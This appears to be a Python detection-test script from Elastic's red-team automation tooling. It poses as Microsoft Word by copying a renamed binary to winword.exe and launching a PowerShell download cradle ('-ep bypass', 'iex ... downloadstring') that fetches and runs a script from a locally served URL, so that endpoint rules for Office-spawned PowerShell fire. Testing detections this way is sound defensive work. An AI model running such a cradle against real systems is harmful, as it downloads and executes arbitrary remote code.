eric-forte-elastic
50 lines
1.4 KiB
Python
50 lines
1.4 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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import time
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from pathlib import Path
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from . import RtaMetadata, common
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metadata = RtaMetadata(
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uuid="20b96aa7-609e-473f-ac35-5ac19d10f9a5",
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platforms=["windows"],
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endpoint=[
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{
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"rule_name": "PowerShell Obfuscation Spawned via Microsoft Office",
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"rule_id": "93ef8a09-0f8d-4aa1-b0fb-47d5d5b40cf2",
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},
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{"rule_name": "Suspicious PowerShell Downloads", "rule_id": "7200673e-588c-45d5-be48-bc5c7a908d6b"},
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],
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siem=[],
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techniques=["T1566", "T1059"],
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)
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EXE_FILE = common.get_path("bin", "renamed.exe")
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@common.requires_os(*metadata.platforms)
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def main():
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server, ip, port = common.serve_web()
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url = "http://{}:{}/bad.ps1".format(ip, port)
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cmd = "powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url)
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# Emulate Word
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user_app = "winword.exe"
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common.log("Emulating {}".format(user_app))
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user_app_path = Path(user_app).resolve()
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common.copy_file(EXE_FILE, user_app_path)
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common.execute([user_app_path, "/c", cmd])
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time.sleep(2)
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# Cleanup
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common.remove_file(user_app_path)
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if __name__ == "__main__":
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exit(main())
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